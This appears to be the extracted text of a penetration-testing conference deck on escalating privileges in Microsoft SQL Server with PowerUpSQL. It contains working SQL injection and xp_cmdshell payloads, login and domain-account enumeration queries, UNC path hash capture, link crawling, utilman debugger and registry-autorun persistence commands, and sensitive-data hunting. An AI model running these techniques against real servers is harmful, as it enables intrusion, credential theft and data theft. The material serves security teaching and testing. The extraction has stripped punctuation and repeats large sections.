Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
